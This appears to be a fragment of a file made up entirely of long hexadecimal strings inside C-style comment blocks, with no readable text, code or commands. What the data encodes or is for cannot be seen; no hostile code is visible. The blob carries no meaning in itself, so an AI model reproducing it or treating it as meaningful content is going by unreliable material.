549cf48c85283ae9488f0079b68e712ce348b9175f1a07ac3f113e9dde8f0fd22dee42549dc468b472945c46d5a7c3e4d9b95c573cd3fa6402129eceb153d8a2d8d81febb48eff3972bf1a4ff0b9dc64d0f878c9b1d8a99405664fc43d3cd69fe74d27510cf64d911d8f17aa5f19c4642086115ce45f9eb96db73ef9fa1a811fc2c841c033546c5f910c0a3ae44eb5216afc45a0f8d35d2e36ec00cbfa853ce45ea677b20d6b6059e8bf20d47e65363f31ab30b4cc603a9d77d8a9d0430bc16d496ee526aa97f50e94748b2d30d18f42574ae7fcfca247103d17c8d51555df6191e95293e229c43562fdcaff01c2aadfb4f8819fd610138e65531f8dcec8e2b13ee7657636fbfd63137e50300c335399b1ccbb9888db8718f9e756973a4d2c307c29def73f890e78ee56f0d860054fdd7630a71f48bedd28937c2efaf78e49cfcd0278e32ff7050b1b7927285b71fe76ddd5d281fc795279ef60cb1f9641ea5b99bd27018509d20fbbf4bc64e3d50dc7d8c4bf378a72cfb531ed68da42dbd49b7d8ea8dc0e1faf039a25c656400a394d6ef71a2e2e45f2a947ce8227cf34d03b819b81fdb651419923e67ff8333d71ece4143de3a0b4a1f93fc81390e8f245e3224a408b1f09d9cb262aacf3174c2ebf4d25782dcbcef4efe696ec6cdd364e4f925ba7ad7011a6698a3ebe94250ef9f4783285895fef2ed53acbe5400fd930cd795091b48f73e8373bab6df06c7743d324047107ddf4af6e44204378a0a320634f3064983d9f7064e820f10110b29d9bd1f0bdee6bf9a2b8735422750465dae71646074318fd6e7078a3bc04e241e4d0be16d8764f7070be4897366001240146773d87e4444e883b04622fa586a5ca61ee8e904dda3d07d40a0a55a1dee0a4cdea18f18ea413b0e79d142c15b11ba61cc3bb70455c7799095ba0edb02af6fb38516f35ca4ce44f085c944d6ea0be6216878e713759fb01b1f50d3041f2bf1903285cb6ea44458f0924c97d5f91b834ac8c5fad39c6a6e04d71a9b6c87c5f79fe98af5ca5a18c3ed9620d2c2ccdfe748f5ad302bcbcfb77a8a8cda7ec514b05fc0ceeb685510c8d7b4f0a644bcbce0cf8279c798f3a8652e1cb787432bb2ce6ec06d4f924b746ab6b17cdb61449b8467348835bd7d193fc46b2276d365aa6ad412fcb15bb9d200e30f312815117b81ad67784e0d58b0f87fe9cab00b2d14ca19c54eb7d7a7fd2d764f96eebb38244d3dea91b11c8dd90c29e038f644e37eecc9c99676fe8c5ed899f81d59778e39d8741f778cb3e7131a7f675c528601bb5f6b8070b54e7b7fd0390feabc6a6ed9b2a45e147d3*/
/*82d8fc58d0a148f1bd2cead8f7bdb9080cde0ef1a48eb138ee3f752afa8ae03ad0f2e798a514d88cb4f1590c4f9c39034c3dd55ed95e47df269ee25c75d7d51e2c0eb2627a02e231a64d16f5e601aed4fffae99ea60bf7fed5ef050b653b6502d9f8d36522fad365cfc41389fc62a2d0d1c90ca6c10c95aebe5ff1f2011bc7361c1114866a53f3df7648a1b79e80b1d63b68aa0a90b705af0ccdb7e9aeae027f35aeb911496880961d74af908d6890c6378ef33f131cb2fad75efcf34a93a385574688b598cb2da8b73e5c4c764e3924803c635ce2e8e2fad4c0324e5bb058275e36ba3aa0e83ec413954e3833c9d98c9eac4b48f8da7f444715b4536b8b5c22dd1e0f99df345a7c461c48446c6b5e98c4547542030b78e3c09ad7c289b11373e0ae83e3258f0065c7e9a8440f6205aa833331a75dce902ebe25d0731388acd886f825e02b9de9dcf105d76edc5f1998f9525ce33b968e20b7a03b0e489f57aacc417123f9ed843974260a5dd95d029ff365f3df0a43697bfd3336cb2829e9c749e36c39880491612528fd279dbd8a46264da8767484ef152d90c82be2e0b3e7f092c1b81c1926db4badef270bbef06d0d9929b11b687c5fbfc7c350acd304e1fc6452c48dcec818b3cf12863a94d4cead27e2c218972ef262012ecaadf0d34bf705b9074d918bad8cc4a1be5739fb4c5268f35535a7c62a74441d938f61c44465b89034fc42bb35ec93923666a59cec81ebc5ba8402b17328ecd90c148b121fe26b43c3ee82c28f3bb634262769d8d118a9a958576cee836cd2ad9dce54ebf8ef6389f6fe93f60049f94ef28628d0afdbd8ee0e09e451448e3ca1267d9dd55a4d2eb13dce1a0906164fe70e2984a1507356f8514663090610e993443a0da4335fe3d29f5e3e3972e4d50fc8e58a4d79c463173db78e6d1ed1008d018a1d015247ab9b5f6ab8949773b1e1ceb61d726fdb959289fb7ca2d8ba7ad860a264c519b3f316cecaabf2a9058854e37d230d25d0291e86ed17918b1728a779e9f8642e72c9bcaffba622d1c025864c0019ac5fd1994570b28a7f54c80b1fc8376c678760de3e783ae036692010e5a018fb552fb54f724ab9abfbb1df53098074251c8ff33872008f0c94f154c576bd7870b58a74e928c498e3e5bd1cba4d7d84c1b16ed1b3ae61cd4a1ad2707ec00b853fb4aa7b19f3cc0e9106343519b4052f674f4b474866c55b0e7aea0ef4ecd3d30f4bc046eb89ce6fd4842b085ca2e09c804464ec4aadb2cd4390ea2de07e9e6e64ced4b34f62c0fd66947dd42220e030783d213cf8d35ce72f5c3dc70ca198c09a5dec9032a8144ec63c48a95425dbf51f72f03ac0b67d3c07a9b1d47820a16d07890815524c770be223f1ef2643dd0af46bf74c15df99c20acd6fdb7aba387985e59fa126206c3b25730e709992cf9edfde66386c4518ab441955f76a99bac5e7dde9eff9605868fe1cc2697666e1fbc26c80eb40187eb3f9b70de2e2855ff74cfe6cba755eeef91084a99292de4aee9eb2b2094ef3b0b16a0878f4deb13a6bfd2bf0747516f59489a5b2f7e26f4153c1b77d83d828de717c576fc1756ead9f256a24e787b646a9e76e159163083eefe2769df60415ee095f5503717827a94a729712f64b331e343bf6665b842b04d67ee94e0c5d8b201d4b892d9ef7751b0f6b771a91eda212806dd10f02a632ee7b810d9074d94eaadd1e48c48c61292c75066effa2caef3fccc7d1a54d9f802609db419e1aee4ab67456f569aaf21e217903482355c7b0de48e824665366e6af99282be6e7058fbdc16b3d6af83bc3054a3edbd0843a54a707a924f937e5a593364256d523985e3c31feb0b2284fbad72800a192d2f4f84867cc647ce69fd32c89c57903293519c407f9c5e98d984ae3d2b6de02bca780d33569c1fce013d761ae91b1773ba9ad28afcf9157462b6d45d94c1ac38a3fbf34f9584a2ce99934f62764f6ba3b0d3dae3ce03cbf4b15922f125aa951374e73a437e9c4b3bcd6e860a7b6713160d0209da6054fa2e7a2921a02878df4a500a4cc15d2f6879e3e29e2c445b9512d4f0e971dac80c6e7a2952a0840ffa69acdd4edd364c6d3f612d2c2e147f10dae45b2d856b5c34e773459d6ff5a2859f941126e2c21951d110867a30b1fb90e64d5039b86b15996419122dbd3013a1b8db828bdd15579bb1cdca655dda69589c728184fa26ce79bd9e80a16aa380fd960e29c961f6b44ca820a591086597735a2174a4b2dd5d22bfb3fafc25f107b70f5bbdf17a360bca31a577b75bedf3d79b2d56806b13c372fe3bbdb0ed48a4f3d72cd7bfe3543634e666c87693a3e108fc5a4291f6ca6a735c3c8b236ceab09c2990f0bfd72f0cf37751b15870ced3be52b2ddbeae8c32ba3f07366f5e31e60d6e92e3356d4ee5078a3e59ef117cb0f1bef0256ae51e453e5e757fd7c6441c0e2b388af5fec4ab712eb997dab101f4d7fdb1ecd545a58a1de96f6726faebd4d0349725ad0bc7cdaa3e363fe7dac9308defd4493dc96dcca03ba46f8e9f6a5115381a851b4563a89b18e3b7fdc1ef95eb6955530dd025261f8870502a9a5c1db20645801bd4d3f0dbe4b43a3e1ad217462aa5b5e5c93565d75fcf9176f2d02e716bfcff1501f0c704a9f811f487ee5d1b28e44ee29cdbb4629e24fd6fa9f49971e794fd96cc44ae4ca4bfce14a05e3cd6bc889dc3490d181237030acbfd007b8d43c1aa61496377d42e0a71c1cd08d0878457449e1fa1cb70ad5e95d92bfb3e36121d7300357aeecbc19c1b7cc5cd1a372b8e17b95d79d7480681e98f0924f4c53*/
/*9e91399cc6f5a5292ffcd616d12aff2dd74b8ec68877b658616b86aae741e78d90f54e81aca168a4ae19d28bc3e13fc5662eb1eb9cc5ffe3454c43906a3e0a4ae32549253bee8ac18fb0e9610aac5f5f20f22b8ca96d4c4822ea022a4a308bc92c5b2a91c0454061dd3adfd472f73e56060253185450064713dbe42bb66d94451b76ab8f49855d089b2c9150f2a22f8c893616573be53e924ee810e54a7a418a783f7e41a165d0e59bdf7bf7b14ee90649e83c7def22601c664798e7deac5eb0776cc88ecf1aaaf67834e28a830e3836bc871d4c80f68c0d4ef8848bb783511b2df8d55b72c2c6b18511bdd1c1a38a1b5f50bf45c381db5a4324e372e16b68edf6727a4cd580aac7ef54f401d21dce7107250f5e854be6912ceda93bc30808246357bffc76642a5465d03eaea0ae3aa74a1fabfe3c36401acdd68e3b6c8c0fb721aa9fd10a3b120f251e2d8fef4db3d5d89a59141187df83f6e60a67f53638ab4fdbd1aedeafc9679fdcc70efa4d4f7308a086281aa65a9d130cce41e7e328d818040d0adb1caf240d72cdec27056d4c5453504e0bbb0fa6defa5447a9ec5deb01021e6097a04eee19967686da909bfbdc5b1434a0952f13ac1b7991c86c746f873fc8a5249cff76f6c856bff8b857a3b0939c733ca3b4c4b16829b1f72f6a78f28cd8706611e179cd1f9276f9840cd30a89c6a0b351a4ddcca8de6c6e73cea05cf748eff6d2f85dd8dc4f490a001cd9568ca04208d511f0f7d6ba73873dfcdfab87574fd760116cdad63376cd623633542bf568f3b1fb891f528c83b3b5fae4c4190c98cad52afdbe3ccabe346996a9e54adc7c1a5e8be4631415ddfeac9af96d1cbece5a808822afdf0cbcf93b494373bbb730ac2ba2482659736aa1c5d2aaa483d7c6d18dcf4e53a65e7c81b068f7f95774b9013a0fed87adfd2670f9a504d25a5cf08b7378a134f62f2b474bcc58b465ac1e0302045bacf2be8259770c6b89871b972603836678237af993975a86c38ff5a4941b758f44131fe4659140e4e64124ce9f923d63b5493181f522353a3db57295eab9cdcf2145b89b9651eb7b88aecf7b47ecd556fad7ffdc39c0ce2b4b8dddb75a0cc48b868cfc6f4cf81a6ffc70c2c21251ede34c179314f695bb36706f36b412962ae00103438c24aefbacebc6fca5190c8ac3aa4f27f909d14c10e247a36f09c5fecce6bc209c78b990fbc6e808dabc135ec8f5a26e312ecc7ef25d3c7e420f06fd708a693a5496d0470fd5b0aac9ca124793425068e7424250b6d0e44bebab7980a83a77fee14974d448e81bc8dd568f47d521d02b6991fbfca28909bc72fa16ed18a07574e86428bf2196482036ced8a0cda7853d7ca9942fc2c0b89405e1a8c0acd6579c1b1b55f2ffd0d03bd3d44ce8c091e55644f430bd3e8e8fce513fb12672e8fad8469cc3385b4a0c51c2154edb7391ff9469af3448f03c25c14ef3c2b2c83c4cf1737ac2027920e512f415f1982f9be1cf0210e997f886cdc39cd755b86b1f94185d8bf631714f915a0e0461e4b7fc92e0810e708c155e85ea0c6c596824e4809b2e14ab9d4d402d01b88b29cc1941e716842e322c449f35fe023d8ba484c019a8d7db8ae667b9dc2f69ef9aa71fb7f93434c690894b1b502015886c1d9986d2632a217605db958ea95747f5c854522bd35e3e7ad121ac386eb3fb6178268b65cf10af8b713d52755b4c55e2bb7b6cbd5bdddfafe42fad4058c695597772a37a6b7beb47007a9b37a5a2a4dec88497f36f7f10ec2c99d860b2b83a069e707eb76d523ba4c60f8b52eafb0ebaa551a802659078bda11afd3f6f464b6d11772f73be935f3b454ce8f0f3519e8b7287585d0c7b47b198a13a049b1b55fc41ef3e2826b0abb5d180b0abdefb474f4bd3d1b84181cbaf9b5e66879d31813d6e7730dfacadc5dc44f89ddd4d1d13f3668ce1300e778f17e2402488a9a5209a50d8e51b8d9272090cda3f9f5b23948046d899ae2e6553db0cee60a81c77e4538202bc6687c94928bb17143f49e1054d2fe771809934760569497c1fe0fef9db1c709e3f915ceda5b8c7eaae125199e4760c1d68382ccde666d8c021d03e7d121ba01e60fee9560cebb4e2281bdb0c570ee294ed85902c0dfc6340d81022097d3c7eeaa88355c3d4ad80da0abb91e9cb7dc6b8fb9aa884928b861ab96cbd3369999a2bf636b63d14a4075fe9a143d3b7a2edd362ff63e5d6b4cb82ffa595be5dee64b4a60f822727874e6c70c414ddb533df097480abe6a8ab553d940eefe9722a4a476c733439962045804fbbdf50db0d5399b3fe9fc8ecad51399f774830e91561759a5dfc5bc08b6196fbff22c4e8f1d4139d15dc0e470e0546154179b3d5d2fdb60b0aeb4d79e9b494565ff032458a37f9f058469586dab1fd26479a73858b7693cad8a62fa77c1886e62ac3aedc2959397541408ceecf09191c580a517835a062565b9d8e22685a26dd695f18531809a84550b057f742e2d41b53159b0b42d792675f34076d478008923c75159a4ffecfac61009a8f468208f1182f58402207999f9468e90fcdadf8948a49c666f5eee59f7db3eea8afb3f1a1cf6893d8a986f756f19f71873b90faf82f6ff5b19734c5f2495c183a0b61810599cf9087c0ed94055e329365b78c8cb31e6aab01bb7197210594a498fe4a5ddac7a1e78efd8366fb7d5980f4fe3f96b0daf0351dfb8da361bf741560b13f98bf3141c71f423bb46c2d80ede4ffd5c901ff5ec68f06cab1f3ada0e660a6d2ee782ca1895d519e6dd337753597ab8d3572b9d3b4ae09abe6d8dece0d7d7d63*/
/*103a57ea2bdc11aa80727b5db625441c4af0c00021d1b8022932faf9d5938fd1656e7d4e8b816be96590046e88de8189d62fe05b29e745bb5a42e8d462f687febe85e4bfe8d3075423bf2eafef7e45abf436792636579c070cedbbc0908dacd0b5ba8cef608ac4f1eab8b09eaa65c976f1f851f99cc0402a33a5e80275d6fc3b5fc22babe532360ea46f41c109a1d0e006c761e30299868bccef974c144dd6e6bf1090cf1dd10352a13576df3348562564a013aadc58fba6a5ebcad5e2af2aa9a49b16bba4086924d287cca41eeaa122158e25b6bfb058086812bfbba632fb503681547915a018e64f917bd222c57a4615237eff1704119e66c235b3047782a64e26359bbb1470c173e6b1961f88fdd00d810940adac909cbc9fe80f5260dc5b514363d5044465e6e443a17333f0a2aa8619660bfb72d560518f8217647cfa8709a744dc0d3a879b813958f11321897f4254b0ca62d4fd7714fa6b0a2b19522dc20a37732a8e799fcdd72514291f00edfebc4f88c59843ef6dd0479aef00257ae1abbeccd04dfe9faf28a3d11554e19477c8ff310b303bf262d90c7bb09639c739f5358938fa18b2b2a525618c27a86a879577410adaf66e0424688fb04b8a153b8cb82c7dddf42c33ebe8d81497b5b1674f345c6ef276b29ab51fa70e90d3d3e85a0dc6f6e940e58ebc602e5d2683f3f108524c632a781e13ffb51320be24b264cfc9a027d7ca42430d1b800e423b7b64f0907b54951044d3ab8c78f61b56448b709bcb6f118edd750b09afd85cae725c458c6aa155823ce09a6dd51ce414c07a82ff8a2189760b6182ee1bc101a193e524b6811a388b8579bdc00849335c4e8b0081ebceeb39735cd591cc4dc0726156549bc4ee77b9326dc50566863ba7f63032226ea4ee851270ed8e819ffdd705098062b46edff45a5716ec489678a8989f86a9af2ce71be2ced2476f38aee55b31f5f4ef4501bb20414b56bb60d6cfe595aeb2745533b5ad455beeedd31ea035bfc47957c81291b36f6f9b151611cdf5fd48575ac2f2a1c7eed50ae758421a89910f465697d577d02ac3ec415979cfa1d0278d0ec20f67f1965335260d2ffa0589a416668ea35c33865b93effc5383f0709516ac6df78bf5d624a22fa80a3b35c1a6fe6a4907367e3f26942b291e6393ca12d2a79e9594bbd9aaa3b96e66a783c25718e6be4cb84bef76636b9048c7c476dd5fb88131b19c181f57892b9b9f46d8565b362b588316c87fba273727ba397d2734562ceff2ffe27a7b86f282649b4c59ccb31fd2b5668259044f7d8454777420979c884e203537a93d3cf4feafb1f39cea1f15621dcb3d964227190fb13f4bb2e3ed58ee964d4b9d30eb2c372663cc733c7bc4d1de3fa07117a41aac12af1db210bed46b08a9c6b4119bbf12d84c9cc699cfc5510874cfcb8c9c12b1f5421ad68d94879bd6a27e63ba94b3db42dd7be408dec14df9d074ccd2d7e4d1d16553637f5df9b362daaf5fb93ec86cb2807cb4747ce132956379156b7d5d52418674c95fad30c050bd32acb18f25b092c395beedb80ec18f111b455f8b3865c22c4af95fb10d283a420f92922ad2bfad3f2d1a841ce8ba1dc5a72ee2c08f2266caedde0b61fb01b0262870fa33d7a4de78b43c79f3e51f3bbd9bf26f48560dfa8767f08f36a2432bf146b14bc5153a5e60ce58ee5c3a619dddf2e63ed21e8a52b23b16ccb6b09041fd159c7006306e5db19be6d85c839c3c3afec97d990b4dabff98b6dd423f8018eb680ca3b66cff34fe58e665315de9c05e0dc68e30f7d0ef3b22bf8275f0a4b33e30e89c719ea100b44ecba08ce18624f14d0d42d9ee048476e3b5f704f0008a4a563931915c3cc5c82187fdae2a397538cb67015b67ac81e8bf741c086a0b240e991bc119fd225bb6355af8c5e5bcb8eca500ef2d4962bc7eb7936b5713a789921f88aeb6413405a97b20eaf3f03e736c0aa1ca2095abfc8ed7b768394a021b34070f415233fac2fa7b0920dcfac4e319694c07cc70f1b918d8fc54ca3e956915762b4e03af47fd6ab2b30b756b7c91e5f3165b8afa584ef4fbf80ce6ee4ba756e9184cea7df61a9f2e54faebb095cf4bd6365fda120fb6097331207b71bae4a696d0c049875e2f083bec9f461510ce6550cde577dc0b444998b9892ff0d271dfdcd283b0e4fbfa29506fe1a1aaf7755671002f627015603722fc639b4ec57e8104965a353162208f8105a6b365ec33ece78f7fc79899c9ea4098a7a8b4665bd370e52a42a2b4298dc4d5e9a5971e09a3b0a2210acff181d031447f8d326ceddf57b439550723a7671f3b84c69ca55af96f228b77e2eabf15d58ab7e1bf8eb42bd89e3072f7b711607f642db2f62286363081a550ca7d9b485c0491f7a648c38de8bab1e0742f4d162f0f66027c7d6bc9c65ec72cefaaf852b1371d74eee114e650552f9429b0539783c374360f0ace2fbec6b98ee9133b84453f69885abf20ca61884e746bb77fd750e81a5e5124eff147e4ada20fb1b5db722f87833761bbd645e0949739e3ea9488567f4702e422bc5e5bac38b72529c88022cffa2c200b1d6a77cd69c21eebc25792136efa60cf33f4d32f3e10acc14f3beb6440fcd6b30303fbc7c578d5342518a11b6e7652e081b4a23106281ed78fecc3a13d2766b1b20bfb8043a7aac3decf9a85324e4e69447eb9ad2597bccfa71f7ccac1622802e9846c17428bb0c993eb8d6a11926828b7c718b816dba5966eeb998e40d43473dbce7c1f261a4d8a39a26c6567d40a36076883b02a134c5de6fb6397ff0a56639694aae6f05095684f*/
/*1e3dc03fef2838f2d38c8fe0c69c92b777968267e49b9db2e8235c0b418c66785d543bdb1ae97a13e77ce5fb824b9e9d05eec3202d7fe82323314ca4ab7b0497cec2b4d2f5530ba2f2a4cb3dc2ec772b918ea5fb606dee2c27cc7585d5e5b2e50f0f43b665af4a49a11385da314cc6279d37d9c10bfbf8aea76f451c68a71d103292d44491face6e96b901185f99e0bbc4d2760f68475a233627e457cd8f68298f678dd23b7d299d7b8f45b1f2c66f86d59b6f025ae9bb3e880f70c5f9130d7831c1616713574384eceb3a18e76a70b0242b817a3b4cfe8a9f2c149616e6c63e1a962830c1fe2c13e57f0fbadd46422c6b62b11c4c0e3411368fb5f4a1d2ad22a8befec7bd57d1fb61b7266bf79f3a638cd3ab604f9933264a0c2d9ded55748c6a70514102e5fba4b9e890cd9e7d0c41d64987eca35a4ee739c9a8267ac42af7acf98a1a2aa32af4a9b70d84937585c65bf4321fc5788d0f0bce545492c6f50d381b9a1752ce8f16bc01eaa8b09da06f270b2853badb152d87922809919ae59460120aed275e8abdc28c703bd78860a5f05637542b7995be62860698988c34a287b939c9de22888e2f5cff6a44757f3053c61d9c02317dfa2ec0f0c1a8af01f66682c9222bd8d1f6a1e4093c15b51e3f7b35267057ac843cd9f8c25a3b6f069c5ea32be60193997cd88b0f4bdd9d59ce9a2f229939cc3718b09998c29f0222f0f05d0e913c0211efdd7caebe6437c7434bb6049e985b3cf52cb5692fbb097d143a6aa2d4b45eaf4105d2c3a14956b1810d50a0820b9bce5154da84c175d6cfef3de93c34336d820f505feff14212320432b7ee9da25027f01e5ae736e3217b67630d8cf419024b76cc4e1c1c202649c25d3792df9d5b6323dc3aaa47e9db972f9acfec3659f3b883f731209305f60a2131d9e6161e7cb4b196e024a74ad773224ad9c7b21b59e4783a3c436ed56cda53d9379a343cf29c8bfddfe4794caaed5cac83e348e1fbbaf7d41b1ce2d8f82371ac9b00b033c4c453cc575cd4758860a8f53ab227c4056025c7347b2b7c22036dc0afc509bde77416f6218d8619057b65bb4d388cca5d0f8d5e7770273a5f6fa3068ea5d855b860221db67efcde4bcef44b24fe47fcd62973431614d8ba087534e41236ffc11f4250caf20988ba0703c38c6baeaaad26e587fdf934cc3685d9a3103d958850f3d67605df8ee7dc0e77f33c0c36f5d73c0700566259c6ac13ead8ea68c76933da1eb066e6df24c8c1a7d0816b12b65b3b49aa651f6ab16df18d55f9f5c2883dece87b61296fcf2bd737c41184df2bef00cb5b6dd3c9eb300e666a92b838ef8884dd870f745ef7b948e8b3ce502112ae282dfe66c443d37f470ba3754321a87e33bd3e37d4d0c2c436ca4bb2d3c3fd9aff4e26ffde7050872a523511103dbb3e7f3476ce34260430d131092d7261bb9265d703b4f8c07974cbf7757cd60ba054ba7467495f0023642474af2eb965fdfe23c7259353ab6cecd78064dea6d6ecc11f2fe5f288d95640e1e5de0e34aa04d5c1627ca6af1c398580ddb03c5f2e29ddfb97dcf2e0f83097012942dd36a292330532ae39155504361eb4473ff08c32b9e537bf9b3f2ed765535726d1d5623ffb7ded37a814919477892bfa2b5be5f30838b3f687ea590f2a1608e74b7329ee42dba701a69181f0c935a6c02880c6df409db3da222af7047093a12e8c4336d8093c91463617ab00f86a2e93d72625674c2cb329c008f0dbe2466270766b242d260237e66ba48cc22e2809f2ed2ca8501d67be16b27a96ffd8053bfe973b972e07f81912c6465573491ffa4153415937e49b26c35365766b1a0c9952df16ce00f42b420ac79d6fe3644f8fdb428853845747f0f710f168c83d1c153ce68c8495538da0f2834de8e41e8bb742c2f4edc192157b855c7faf153b11dd82d983a55ec49b310667abbc4752dd71cd67b8194051228d969edfc878a7004cf9acc9bb225b5108a056802ff01019b0f7a00f9e65e059d700fd7cea09f879c57f35b73ff01fdddb355ac203c9be64575115f35f6e0066256ec1a5fdc0da5b9dfe1fd8eb213d92d2b6eaf7fa5a890c9acac17d8c621df50b0a992870e4bb5912cac4f288cdbd1dfa7bbd0ed97d05d2037ddb06c785c59699cda556d61787fec57fc7f835664dbb3116a0e967b48120c6c77c6d8d73e1783f07f269faceddfddc711cd39cad9c798dacec113a0c01c733ff3bf730687ba9b1f2aa04c8ac28bc5f91a1c3fff1d2427eba574e0312d4cd7fac71b037a4c859ccb41ef606887717deadd648893e115d6622d6c6b27a24d9b29d01531a991189be646aee7c2ffdf2bddde764e1aa1c3015903ac716635f289f13023d222a9abab66abe7a3d69285c4377630363bbc270b321d077b939dd0263be5566c3112d71c88ec8aeb5bbb70490a78d5e5ec7b2e58afa2e805687b76e8bde175bad66a0b4cd1ed48ffd76394581351cee12f456b62a85255ff98a243e13b0b99f1c42107bcb3bc9c930d449aa6f7f59b5fa20dcba6fcbff5715ebc0e2744107f82b377424f62d7a8c50164baafba679120ee2ed232e35006dbe9d9221388405d06dd152fb48b18a5b2db95001d1755edd63d4e87fdaf02441678b188862a8e3e8da34e7fd63a7b2c50b68ba05ef99dcb807602871860b3f9c90debb46f512995a4e7a3ad3ae0a064a2e90e6eb239ec7366c4fe8ff2d068e79fa144758f35a8900a6221de7d06e6937bdd7416ba070ec2e564bd970341deac44c9ab0fec9843ab3625f9e6d7eb571db2043039dbd079660bceb99b1801aa3a555737a72b425*/
/*58e94b9a741d89a119a3bb355e378b260ffdc9b70d05d19f63459fafd6b47654266804d2c21607b239b09cad2cfc94366280b67e8276f72f1e84ae3400d9271659af8778b2efd6b148772e0581f53a344e94d507bbc8edca1c9714ff4bef428b2e892098559a28ba03d86f64ce9ed2482096aa8c984a75346f537cb845b6ba5f108b93435b0db9d7e0023cd16befe9a730509767e395f13bf7f8f2a99fb45cdb0733b40663cadb3d0f74150dfb90e9b3f2565d8e7d69d3b6b5bd819e438120e7e2e6cce578b4eb418fa560d7550cef44740282ea173b6905690d68e3ef2983ae18156944300013fe419fe6f7c7c876c339a4dcfc78176b00df8609c03426ac7a6d0197a732196bdcbfeb0e6b97a1c21650fdba68f85c0644bad5fbc01995e705f83a1e8be173c439f016ea75575e09cee9c371c17e02d2b6152e635c7f52fb36b7317dc8300608704df086a0fd27eeefe97e1e72f08821b67ba94486097abeea185887ff58f0237b9c5be81f2fda89f03fba48a50e227b0b084e980a27f165703010e8217d8f9df8c5816272b109c1e22926a0f17ee064f2ed8a0d77494a4c83bf66d2717da524e978afd22be517c8d5a11ae5a6810e005055c1a72005671bcb686096e9bef4591dc38dbac99ac779cb1ec793b0a7f65a50a74240037609ce283de0269da1a70750681b340192667fdfeeb8ee614731a5e9ddcfd1932c35c132ec034936aae863596620132a4c8d619ce49d2f28a3e1efb044870ce7f1cedc287730245a9cd0527ae94504cda872ad2ae2ea0ad8237e71a03f80c136b1ae6b54367808ac5f3cf311757ab79a34138d36b810b71c76f50d02017afa24e3ec00dc8d6ebb3494d765eed368f3a6c26b8bd65b45b16b1f2210ddb2ba1aa29a7f06e9b9177b66b79c38e820e93c4f2cffef9f1ab0615ae39ea66c2f69622c5d0f034e8ab716b953fd3f5393f8493a1659e30595b80f1d09139457cb171b7a929bef4da38e45bb959fc08672d9314c1c34937bd994394172d1e04b4e225807e9aa2c6ce04a8c7f069c988ddb62ed918055f5132499e1949eae86836ec515c365788fd311a16a6c406da95f528ffa9e1257df7a83a749175f847239b1e6131171f1f47e3bc52ca688b869d0ac2a7fa1a4dcc8c9096493dedf5d5a8a65f6bac7c739fc448488416305abf4e1a79b46fcbc281570804718c53b8e49899f8e78cf313718677f325e288708cb657c7e302bf7d9310693473cd90ed7c1a66ee3d2763d86e621ddcd66e41dd0b3db3b19c3943730dc11b4afb83784bdd5e009a464319cfbfb418ff71fd1a7f167e43598c4869e15e1ab806aaf78cc4b142f537af63244f86a86c7b51a97bdb4e5b2183ee7b494d87e7126106019ef7994e6858cf812d0642c2404bb7d9341da9ecec88855228f4401662d4d97239ba242624b8093aead6b4b7a6abb8b89c40173773136a2e4d5927e37d3f5f4af247fa0e0b70c72ca0936eb3eb4a483e3a0d80e5c845455e42a0517d787e884780bde672849a5a6dba48a9d34706b5ae499a963daa18b3177765549d2f5b8e07606a2adadfb2fdc7efa5ac8e008053fbc17ce6b15edb826c58223352ff3192ed145c2d104e2c719d7b30424f6d07e5f0b273d7c12569d29612006e85271b78c695818df4145506d9adb5d6b715be9f30f433e18a4c1532b0aedab92f9da019ad950296d0a2ae6422e8a8f6b6e2fdff00bb38c9168e8443e47b2931d72172dda78636f53872bd5591687953d3a02a69fcde0e02f4d8af5bcda41954073b155664aa4ddeec1a4ca0ec240b0b697174b4a452c2710f9e8a25a1891606a4b34eb4de3a863d5acae721a4fe907030d6a60dbca41e7dd7c470b155f6341823d208c57dcd6db661ba167345af455026cbdd3539ab64ff24203a69eddb12b60b32cbcb0392c444e8e75ee9129e006318460ea2aa1132a51f2dc82e980e5460ceeaebffd1ada074802cc7dcdca62163ed9846f9762478254e7da02c5b2bdbcee4df2a29f33a7964b48c6331da62f173aed96c82b50bb3dea51a3a061ecf6b6158b1e90a2504e6674c35f83e868973d322d77f22827dce443f1d46c022c744e94118b38e9894981baa3d83521a349b9ec9e81b7dc005d390954cb2ee8f9c66b19da7c51175ac5879a76c325f181735242c4a3a8431d52fd8ed8908b6d16b407d6b1ea9cae32e8579ee0a8cf32cad694d6cc6890d59470ee08d1dd556b3ed441b40890bc38281a28c84d1058ffc31e71e2b0a184c2bc654e1631ce4721ef48b55e2c8ee0f998865cde674343e802b5a69514bd88889550b5f5e23ba1ff406deb2ae155ff99e39a4946d91761337219c1873ec014199784374cd729f9723c39e91f2d5b139497e5db68d17edcc3c3cbd33eb855377fde932f140952a037cdae7e961cda4cc9a59954c2ba939f5b7d403fba101d4e491e34a0172b82a71c0bbb77cd120da906d1b22107f8f22e73f789bc5ca47f9a9ab49fa391531d61f32ee8d1406e4abce744b7a7431bbfeffa5b85414d63ac0ad98fe6df9b99ba0878f3535a6082db69ae5da44bd4f5d643c318fff23a642d6ab909d57b11359146ea3853f7eb710b7e740abd9a974e30a32a7f424ca2f8b0b0fefb93192e7ed39a82dd3c619014dfd745a85b899a9f7869a346e6f3cd739b82941f31749261e5219c75014854b848effb2e28ee02bf0bd21a5e76beb91e551e1653d9bccb08cea1cdd9d1fac84a4aa0d252ac6200f9bbfc6925bf39ddeaa5aaa6f3d3418c2496684f9c9ffd3f8a6ebedc8d9ff701a148f573cc55498e21a5a2e5c07bee7c70006ba482cd4d26e5*/
/*fb9b1a4a3e843be486148e967d5c6ffad6c4a50151cd8117639a2938d15e92f5ac76f8fdbae2ed9fd385d4ecb944d011d1cc0d055862cd5983369cb5c789ae1e244029366d3330711d59bed641c28006f3cd6612ab621ad390d54aed5abfef516e232bc05fdadd4a2478d3cec646af7bd4b0a982834d6cc13acbf5ba87ab3b7ac2b5b5eed59534535332475293f21cb7dee5cec069192847f792cbb622b52d6b99541f82d5db83093cf96d003ed95f3742c4c9e4f814b7d4a47c18da77e57c5b8a2697b83b3855f7e28f684fed329b3cc8474daad74eed785d164fe73cafd9da2dc005146683c6a0faa2ffd47eaefa22cc86075f4a34915ed32db0422048b18fbdd5dc435dc3e736b3046b28032997f0c28021fbad5ca6e20817ca4a7c21276ce27dd4cba06d67e0236f35742c8e4ef3ce7caf00b4af69a767cf985f6a784dd3c360956dff1b233f595ecbc5834d629a390d3d1a6af63c59954cc41e4de26f4a1ef8d1e97129bd18f0c0328796985f1f726e6817e2f42d0004c47f8b50fd2339cd3d6fa24158352b469dbc13fe1fb0c7555f87a0a43a81e63e212200225eae8ba6fb5ed51e811250b0d3fad8e6a3c474fae0e2ba93d18cb6c05fb62f8d0437690cdd6ac4fe55ad2467bb5ef1061f2970b9def3762eae23840aa20d0d7fbc895641f82e2a58017c